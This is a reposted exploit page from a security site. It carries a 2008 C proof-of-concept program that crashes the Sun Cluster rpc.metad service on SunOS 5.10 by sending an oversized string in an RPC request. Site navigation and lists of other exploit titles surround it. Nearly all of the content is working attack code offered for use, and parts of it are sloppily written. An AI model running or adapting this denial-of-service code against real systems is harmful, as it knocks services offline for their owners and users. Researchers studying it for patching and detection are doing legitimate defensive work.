首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SunOS 5.10 Sun Cluster rpc.metad Denial of Service PoC
来源:www.vfocus.net 作者:Kingcope 发布时间:2008-03-17  
/*##########################################################*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC              #*/
/*## causes DoS on rpc.metad                        #*/
/*## (C) 2008 - Kingcope                                   #*/
/*##########################################################*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=0,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("rpc.metad for solaris 10\n\n");

    if(argc<2){
        printf("usage: %s address\n",argv[0]);
        exit(-1);
    }

    printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC);

    printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }
    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

    memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
    buffer[3000]=0;

    req.string=buffer;

    stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
    if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
    printf("sent!\n"); /* if(!flag) exit(0);*/

    }
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Dovecot IMAP 1.0.10 <= 1.1rc2
·NetWin Surgemail 3.8k4-4 IMAP
·AuraCMS <= 2.2.1 (online.php)
·Rosoft Media Player 4.1.8 RML
·MDaemon IMAP server 9.6.4 (FET
·CA BrightStor ARCserve Backup
·Exploits XNView oversized file
·Timbuktu Pro Remote Path Trave
·Apple Safari (webkit) Remote D
·Timbuktu Pro Remote Path Trave
·Home FTP Server 1.4.5 Remote D
·QuickTalk Forum <= 1.6 Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved